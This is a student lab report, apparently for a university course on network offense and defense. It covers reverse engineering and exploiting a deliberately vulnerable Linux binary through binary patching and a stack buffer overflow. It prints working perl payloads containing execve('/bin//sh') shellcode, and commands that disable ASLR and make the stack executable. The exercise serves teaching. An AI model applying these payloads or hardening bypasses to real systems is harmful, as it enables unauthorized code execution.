2019-2020-2 20175227张雪莹《网络对抗技术》 Exp1 PC平台逆向破解
2019-2020-2 20175227张雪莹《网络对抗技术》
Exp1 PC平台逆向破解
目录
0. 实验目标
- 本次实践的对象是一个名为pwn1(为了区别于其他同学以改名为“
pwn1_20175227
”)的linux可执行文件。 - 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
- 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下个代码是不会被运行的。
- 我们实践的目标就是想办法运行这个代码片段。
- 我们将学两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
返回目录
1. 实验内容
-
1.1 直接修改程序机器指令,改变程序执行流程
-
知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
-
学习目标:理解可执行文件与机器指令
-
进阶:掌握ELF文件格式,掌握动态技术
-
步骤:
-
下载目标文件
pwn1
,用objdump -d pwn1 | more
反汇编并分页显示。
-
输入
/main
,查找main
函数;其中,"call 8048491
"是汇编指令。- 其对应机器指令为“
e8 d7ffffff
”,e8
即跳转之意。 - 本来正常流程,此时此刻
EIP
的值应该是下条指令的地址,即80484ba
- 其对应机器指令为“
-
这条指令将调用位于地址
8048491
处的foo
函数;输入/foo
查找foo
函数,如下图:- 当执行“
e8 d7ffffff
”时,CPU就会转而执行 “EIP + d7ffffff
”这个位置的指令。 - “
d7ffffff
”是补码,表示-41 41=0x29 80484ba + d7ffffff= 80484ba-0x29
正好是8048491这个值
- 当执行“
-
main
函数调用foo
,对应机器指令为“e8 d7ffffff
”,- 那我们想让它调用
getShell
,只要修改“d7ffffff
”为,"getShell-80484ba
"对应的补码就行。 - 用Windows计算器,直接
47d-4ba
就能得到补码,是c3ffffff
。
- 那我们想让它调用
-
下面我们就修改可执行文件,将其中的call指令的目标地址由
d7ffffff
变为c3ffffff
。- 用
cp pwn1 pwn2
复制文件,以保留修改前文件;并用vi编辑pwn2
- 用
-
可执行文件中因为已经汇编为机器代码,在我们看来就是一堆乱码,因此我们需要将他的显示模式切换为16进制模式,即输入
Esc+:%!xxd
。 -
之后,输入
/d7
查找e8d7ffffff
(可以多查找几次,以防有重复字段,一般关键词前后十个字节一致,就是查找目标值)
-
-
找到目标之后回车确认,输入
r+c
,r+3
,将d7
修改为c3
-
输入
:%!xxd -r
将16进制转换为原格式并存盘退出vi。
-
再输入
objdump -d pwn2 | more
反汇编看一下,call指令是否正确调用getShell
- 运行一下
pwn1
和pwn2
pwn1
功能:显示用户输入的内容pwn2
功能:实现shell
功能
返回目录
- 运行一下
-
-
1.2 通过构造输入参数,造成BOF攻击,改变程序执行流
-
知识要求:堆栈结构,返回地址
-
学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
-
进阶:掌握ELF文件格式,掌握动态技术
-
步骤:
- 输入
objdump -d pwn1 | more
反汇编pwn1
- 该可执行文件正常运行是调用如下函数
foo
,这个函数有Buffer overflow
漏洞 lea
指令将栈顶指针向低地址前进了28个字节(1c = 16 + 12 = 28
),即为用户输入的字符串预留了28个字节。- 如果用户输入的字符串超出28g个字节,会造成溢出,可以达到我们覆盖返回地址的目标。
- 该可执行文件正常运行是调用如下函数
- 输入
-
确认输入字符串哪几个字符会覆盖到返回地址
- 这里我们使用
gdb
调试功能 - 其中
EIP
的值为0x35353535
,35为5的ASCII
码值。
- 这里我们使用
-
再次调试程序,继续查看
EIP
中的值EIP
中值为0x34333231
,分别为4、3、2、1的ASCII
码值。- 由此,我们可以看到输入数据的“
1234
”所在位的值覆盖了EIP
之前的值,
+ 而且存储方式为小端模式。(注意这句话,后续修改返回地址时输入的数据顺序才不会出错。)
-
1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。
- 那只要把这四个字符替换为
getShell
的内存地址,输给pwn1
,pwn1
就会跳转到getShell
函数。
- 那只要把这四个字符替换为
-
确认用什么值来覆盖返回地址
getShell
的内存地址,在之前的操作中我们已经得到,即0804847d
。- 因此我们应该输入
11111111222222223333333344444444\x08\x04\x84\x7d
- 或是输入
11111111222222223333333344444444\x7d\x84\x04\x08
- 由这里,我们知道应该输入第二种,即小端模式。
-
由于我们没法通过键盘输入
\x7d\x84\x04\x08
这样的16进制值-
需要用到
perl
功能翻译一下 -
\x0a
表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
-
那现在我们是否可以运行
pwn1
时直接输入perl
翻译出来的字符串呢?- 将该字符串用
./pwn1 String
输入,我们会发现该程序不支持 - 将pwn1运行后输入该字符串,会提示段错误,但并不会跳转到
getShell
函数 - 说明我们复制显示出的字符串并不是真正翻译的那个值
- 将该字符串用
-
所以可以使用16进制查看指令
xxd
查看input
文件的内容,即真实的翻译值。
-
然后将
input
的输入,通过管道符“|
”,作为pwn1
的输入。
返回目录
-
-
1.3 注入Shellcode并执行
-
准备一段Shellcode
-
知识点:
- shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe)
所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。 -
步骤:参考学长博客Shellcode入门
-
-
准备工作
- 依次输入:
execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 more /proc/sys/kernel/randomize_va_space echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space
-
-
构造要注入的payload
- Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr- 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前面 - 我们这个buf够放这个shellcode了
- 结构为:nops+shellcode+retaddr。
- nop一为是了填充,二是作为“着陆区/滑行区”。
- 我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
- 首先利用十六进制编辑指令perl构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的\x4\x3\x2\x1会覆盖到堆栈上的返回地址。(注意最后一个字符不要设置成\x0a,否则会影响接下来的操作)
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
- 接下来我们来确定
\x4\x3\x2\x1
到底该填什么。- 打开一个终端注入这段攻击buf:
(cat input_shellcode;cat) | ./pwn //注意这时先不要按回车,否则后续找不到该进程
-
开另外一个终端,输入
ps -ef | grep pwn1
查pwn1
的进程号 -
用
gdb
来调试pwn1
这个进程。 -
进程号为
4535
-
输入
attach4535
启动gdb
调试这个进程。
-
输入
disassemble foo
查看到ret
的地址为0x080484ae
。 -
输入
break *0x080484ae
在0x080484ae
处设置断点。 -
在之前的终端中按下回车,然后在调试的终端中输入
c
继续运行。 -
输入
info r esp
查看栈顶指针所在的位置,并查看改地址存放的数据:
-
上图中可以看到
0xffffd2bc
存放的数据是01020304
,就是返回地址的位置。shellcode
地址就是0xffffd2bc+4
,即0xffffd2c0
- 修改注入地址
- 修改文件中代码为
perl -e 'print "A" x 32;print "\xc0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- 执行
(cat input_shellcode;cat) | ./pwn1
,如下图所示攻击成功,执行shell功能:
- 修改文件中代码为
-
2. 实验内容
-
2.1 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP的机器码为:0x90
- JNE的机器码为:0x75
- JE的机器码为:0x74
- JMP的机器码为
- Short Jump(短跳转):0xEB
- Near Jump(近跳转):0xE9
- Far Jump(远跳转):0xEA
- CMP的机器码为:0x39
-
2.2 掌握反汇编与十六进制编程器
- 反汇编指令为:
objdump -d <文件名>
- 十六进制编辑器
perl
指令为:perl -e 'print "xxx"' > input
- 反汇编指令为:
-
2.3 能正确修改机器指令改变程序执行流程
-
2.4 能正确构造payload进行bof攻击
3. 老师提问
-
什么是漏洞?漏洞有什么危害?
- 回答:漏洞在这里是没有边界检查时由于编程错误可能导致系统崩溃等其他错误,广义上漏洞是在硬件、软件、协议的实现过程中或安全策略上存在的缺陷,这些都能被攻击者利用而篡改重要信息、运行恶意代码等用来威胁系统安全。这会导致系统崩溃、重要信息被窃取等危害。
返回目录
- 回答:漏洞在这里是没有边界检查时由于编程错误可能导致系统崩溃等其他错误,广义上漏洞是在硬件、软件、协议的实现过程中或安全策略上存在的缺陷,这些都能被攻击者利用而篡改重要信息、运行恶意代码等用来威胁系统安全。这会导致系统崩溃、重要信息被窃取等危害。
4. 所遇到的问题及其解决方法
-
4.1 问题1
-
描述:无法运行
pwn1
以及pwn2
,如图:
-
解决方法:它提示我权限不够,添加
sudo
或是用su
命令进入root
权限都不可以运行。查看文件属性之后,我意识到我在首次编辑pwn2
时由于输入错误异常退出,于是我将该文件删了,在同一名字下重新编辑,这样操作可能导致文件权限被改变。于是,我将文件重新命名后正常修改后执行即可。结果在此。
-
-
4.2 问题2
-
描述:输入gdb后提示,如图:
-
解决办法:参照网上博文,安装
gdb
,安装成功截图如下:
-
-
4.3 问题3
- 描述:未安装execstack,如图:
- 解决方法:输入
sudo apt-get update
和sudo apt-get install execstack
等待片刻即可。
- 描述:未安装execstack,如图:
-
4.4 问题4
- 描述:输入
echo "0" > /proc/sys/kernel/randomize_va_space
后提示权限不够,如图:
- 解决方法:参考网上解决方法,应该是因为权限问题,改用
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
即可,如图:
- 描述:输入
5. 实验感想
- 在这次实验中,我通过实践来具体经历了在上学期《信息安全技术》中学到的缓冲区溢出攻击。更加深刻地认识到,缓冲区溢出攻击具体是如何修改返回地址的,将这些知识结合汇编语言以及在《信息安全系统设计原理》中学到的一些指令,收获着实不小。总的来说,这次实验进行得非常顺利,基本上遇到的问题都很简单,得益于老师的细心讲解以及往届学长的总结博客,学下来既感觉收获良多,得到的训练也很大。